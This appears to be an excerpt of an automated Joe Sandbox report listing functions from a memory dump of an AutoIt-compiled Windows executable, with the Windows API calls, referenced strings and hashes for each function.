Instruction Fuzzy Hash: 78718D71A00215DFCB54EF94D884A9EBBF1FF08310F08859AE856AB392D779ED41DB90

Function 0103719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 01037206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0103723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0103724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 010372CF

Strings

DllGetClassObject, xrefs: 01037242

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 6e8510c71fb41cb4717d28b3f55f5895a90966ecd18f3f45696464649d5a19ae
Instruction ID: 317d9b5ced393f815f3a96b604ae763eaa660ced7e08a2bb0de77714e5705eb7
Opcode Fuzzy Hash: 6e8510c71fb41cb4717d28b3f55f5895a90966ecd18f3f45696464649d5a19ae
Instruction Fuzzy Hash: 9C413DB1A00205EFDB25CF54C884A9A7FADEF89310F1480ADFD459F20AD7B5D944CBA0

Function 01063D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 01063E35
IsMenu.USER32(?), ref: 01063E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 01063E92
DrawMenuBar.USER32 ref: 01063EA5

Strings

0, xrefs: 01063D89

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: d7b0f1e40ab8c98244488ec62ec5f8f237bd54e9445dbdf8854ccc7e94d1a18d
Instruction ID: bb04cf70da7ccb075e1837914afccd464e36571a01c20e9521a39e94d37bbdad
Opcode Fuzzy Hash: d7b0f1e40ab8c98244488ec62ec5f8f237bd54e9445dbdf8854ccc7e94d1a18d
Instruction Fuzzy Hash: DF416C75A00209AFEB20DF54DC84AEABBF9FF48350F044159F9899B290D735A940CFA0

Function 01031DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Part of subcall function 01033CA7: GetClassNameW.USER32(?,?,000000FF), ref: 01033CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 01031E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 01031E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 01031EA9

Part of subcall function 00FD6B57: _wcslen.LIBCMT ref: 00FD6B6A

Strings

ListBox, xrefs: 01031E25
ComboBox, xrefs: 01031DF0

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: a1419fde46d9409fa545101bd59912f4e9ff7dd8c75ed01cd3642339f4841102
Instruction ID: a8d820d8a5628f6da50707485e1bc3c2354945b75a164cb5f0b54a758d8b32e7
Opcode Fuzzy Hash: a1419fde46d9409fa545101bd59912f4e9ff7dd8c75ed01cd3642339f4841102
Instruction Fuzzy Hash: 20213871A00108BEEB14ABA5DC45CFFBBBDEF89350B04411AF4A1A72E1DB7A59099730

Function 01062F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 01062F8D
LoadLibraryW.KERNEL32(?), ref: 01062F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 01062FA9
DestroyWindow.USER32(?), ref: 01062FB1

Strings

SysAnimate32, xrefs: 01062F68

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 09e7cd5f7c87dd4362e4def5292bf059218c8baaff41e5f0dca3b9502857d34e
Instruction ID: bf04ae74d7c22422626a5dfe4bab039b9f06802b98fcf13707bc302407b8cee2
Opcode Fuzzy Hash: 09e7cd5f7c87dd4362e4def5292bf059218c8baaff41e5f0dca3b9502857d34e
Instruction Fuzzy Hash: 0E21CD72204209ABEF218FA8DC80EBB37EDEF49364F104629FAD0D6195D771DC519760

Function 00FF4D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00FF4D1E,010028E9,?,00FF4CBE,010028E9,010988B8,0000000C,00FF4E15,010028E9,00000002), ref: 00FF4D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00FF4DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00FF4D1E,010028E9,?,00FF4CBE,010028E9,010988B8,0000000C,00FF4E15,010028E9,00000002,00000000), ref: 00FF4DC3

Strings

CorExitProcess, xrefs: 00FF4D98
mscoree.dll, xrefs: 00FF4D86

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2c62f88320cfa4c10b01eab3be737b0852af885945167f3701a1160a33231e64
Instruction ID: 7bf1decf2e549fd073ddcfb205bc04de0baba1e36d803bb84dc5b745f9cea217
Opcode Fuzzy Hash: 2c62f88320cfa4c10b01eab3be737b0852af885945167f3701a1160a33231e64
Instruction Fuzzy Hash: F0F0C830E0020CBBEB209F90DD09BAEBFF4EF45711F000158F985A6164CB355D40DB94

Function 00FD4E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00FD4EDD,?,010A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00FD4E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00FD4EAE
FreeLibrary.KERNEL32(00000000,?,?,00FD4EDD,?,010A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00FD4EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 00FD4EA8
kernel32.dll, xrefs: 00FD4E94

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 58235318a35e780c2fb5a1a0a2b77acc3fe906fad59e549684a80c4a5544d5b6
Instruction ID: fbd3e5047251314a05c1c33b72b1f11549ed6ee7c7b2f5ff0f680a4cbcf9b672
Opcode Fuzzy Hash: 58235318a35e780c2fb5a1a0a2b77acc3fe906fad59e549684a80c4a5544d5b6
Instruction Fuzzy Hash: 0BE0CD35E02522ABE33117266C28B5F7759AF82F72B0D0116FCC0DA304DF74DC0155A0

Function 00FD4E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,01013CDE,?,010A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00FD4E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00FD4E74
FreeLibrary.KERNEL32(00000000,?,?,01013CDE,?,010A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00FD4E87

Strings

kernel32.dll, xrefs: 00FD4E5B
Wow64RevertWow64FsRedirection, xrefs: 00FD4E6E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 44b545beee00601f552fbe9b637f90a762820b47af23a8b774eb5d18455e1040
Instruction ID: 5448a2a5a9c3e822e3d3c8c11a49ccad93ceeb870f0af9682ae0c3d7ce521bc9
Opcode Fuzzy Hash: 44b545beee00601f552fbe9b637f90a762820b47af23a8b774eb5d18455e1040
Instruction Fuzzy Hash: FED0C231902661A76A321B25A828E8B2B19AFC6B613090216F8C0AA218CF35CD01A6D0

Function 01042947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 01042C05
DeleteFileW.KERNEL32(?), ref: 01042C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 01042C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 01042CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 01042CC0

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 24cb5db066ec256a1a7d09fafd4415d889759c024569aa83241f06f474aa43c4
Instruction ID: a63eff196d25636b92cb02e95866bdccbf3afe0d9e3892897900dc3ac2b9c6c1
Opcode Fuzzy Hash: 24cb5db066ec256a1a7d09fafd4415d889759c024569aa83241f06f474aa43c4
Instruction Fuzzy Hash: BCB160B1E0011DABDF21DBA4DC85EEE7BBDEF48340F0440A6F649E6151EA359A448FA1

Function 0105A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0105A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0105A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0105A468
CloseHandle.KERNEL32(?), ref: 0105A63D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 949ce2cf0a9e51ed324bd79e3eb4b116e8fd4732cdcf8cf9f8ea11ac76027ad6
Instruction ID: b07e5a67c9646086e45879c47f812576e28d86f81faf07df9fd0ab9af71ef79d
Opcode Fuzzy Hash: 949ce2cf0a9e51ed324bd79e3eb4b116e8fd4732cdcf8cf9f8ea11ac76027ad6
Instruction Fuzzy Hash: 89A191716043019FE760DF18C882F2AB7E5AF88714F04895DF99A9B392DBB4E841CB91

Function 0100BB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,01073700), ref: 0100BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,010A121C,000000FF,00000000,0000003F,00000000,?,?), ref: 0100BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,010A1270,000000FF,?,0000003F,00000000,?), ref: 0100BC36
_free.LIBCMT ref: 0100BB7F

Part of subcall function 010029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000), ref: 010029DE
Part of subcall function 010029C8: GetLastError.KERNEL32(00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000,00000000), ref: 010029F0

_free.LIBCMT ref: 0100BD4B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: f48a155f5f5f70fcd13636121916e7b643ae72528f53b0fb9ef29cff33f1262e
Instruction ID: 8336422d0ddb8159a0171bd3b0574cd37f6b9a4303033de0892067537f7e5af9
Opcode Fuzzy Hash: f48a155f5f5f70fcd13636121916e7b643ae72528f53b0fb9ef29cff33f1262e
Instruction Fuzzy Hash: 7A510875900609AFFB22EF69DC809AEBBF8FF41350F5042AAE5D4D71D4EB349A408B50

Function 0103E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0103DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0103CF22,?), ref: 0103DDFD

Part of subcall function 0103DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0103CF22,?), ref: 0103DE16

Part of subcall function 0103E199: GetFileAttributesW.KERNEL32(?,0103CF95), ref: 0103E19A

lstrcmpiW.KERNEL32(?,?), ref: 0103E473
MoveFileW.KERNEL32(?,?), ref: 0103E4AC
_wcslen.LIBCMT ref: 0103E5EB
_wcslen.LIBCMT ref: 0103E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0103E650

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 0b7a21c2aebde0ff61d378a242a7155150480cef422cda8e238128ab60b72367
Instruction ID: 734798e4fdda73d3fbddd8580ad3013dfeb4549eaf63b14e87716a0fae79396f
Opcode Fuzzy Hash: 0b7a21c2aebde0ff61d378a242a7155150480cef422cda8e238128ab60b72367
Instruction Fuzzy Hash: 2B5161B25083459BD764EBA4DC809DF77ECAFC5340F004A1EE6C9D3191EF79A2888766

Function 0105B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Part of subcall function 0105C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0105B6AE,?,?), ref: 0105C9B5
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105C9F1
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105CA68
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0105BAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0105BB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0105BB63
RegCloseKey.ADVAPI32(?,?), ref: 0105BBA6
RegCloseKey.ADVAPI32(00000000), ref: 0105BBB3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 0c251a19b6f073db8e7c489c957c299102897fcc264902ce7da57528b443854b
Instruction ID: 2c7789d2877febb2b37a10ec357acbf85d3468c7b4ff3b889342a623c3845c04
Opcode Fuzzy Hash: 0c251a19b6f073db8e7c489c957c299102897fcc264902ce7da57528b443854b
Instruction Fuzzy Hash: 9961C331208201AFE354DF14C890E2BBBE6FF84308F58859DF5954B2A2DB75ED45CB92

Function 01038BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 01038BCD
VariantClear.OLEAUT32 ref: 01038C3E
VariantClear.OLEAUT32 ref: 01038C9D
VariantClear.OLEAUT32(?), ref: 01038D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 01038D3B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: e1b22e08fb92f588f9b90397cda81371e2b35571bf3deb543f69e7e65a5b3ffb
Instruction ID: 4c57303cfe24c74984ec4fa25bc0be828649206c2646bc0da0f0b6e4ad1cf8ff
Opcode Fuzzy Hash: e1b22e08fb92f588f9b90397cda81371e2b35571bf3deb543f69e7e65a5b3ffb
Instruction Fuzzy Hash: F8516BB5A00219EFDB10DF58C884AAABBF8FF89310F05859AF945DB314E734E911CB90

Function 01048AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 01048BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 01048BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 01048C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 01048C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 01048C5F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 3c6d77722c7317dfa23ac4cb763ff8bbb27eab695388bfc8c65b90969fe625bc
Instruction ID: c8f0c411d548b07e0ec7e810e1bc14cd7761169dc931db02e2f078c06f97984f
Opcode Fuzzy Hash: 3c6d77722c7317dfa23ac4cb763ff8bbb27eab695388bfc8c65b90969fe625bc
Instruction Fuzzy Hash: 67515A75A002199FDB11DF65C880A69BBF2FF48314F08C49AE849AB362DB35ED41DB91

Function 01058EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 01058F40
GetProcAddress.KERNEL32(00000000,?), ref: 01058FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 01058FEC
GetProcAddress.KERNEL32(00000000,?), ref: 01059032
FreeLibrary.KERNEL32(00000000), ref: 01059052

Part of subcall function 00FEF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,01041043,?,75C0E610), ref: 00FEF6E6
Part of subcall function 00FEF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,0102FA64,00000000,00000000,?,?,01041043,?,75C0E610,?,0102FA64), ref: 00FEF70D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 006a6ddb9b90422f757029e19c07842499f6dc6f25e18d173252a58096663199
Instruction ID: b5de8c52d298e78950c7533813619ae4f4b036d333cd655b5a8a097a5afa9b33
Opcode Fuzzy Hash: 006a6ddb9b90422f757029e19c07842499f6dc6f25e18d173252a58096663199
Instruction Fuzzy Hash: BC515835604205DFCB51DF58C4848AEBBF1FF49314B0880AAED8A9B362D735ED85CB90

Function 01066B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 01066C33
SetWindowLongW.USER32(?,000000EC,?), ref: 01066C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 01066C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,0104AB79,00000000,00000000), ref: 01066C98
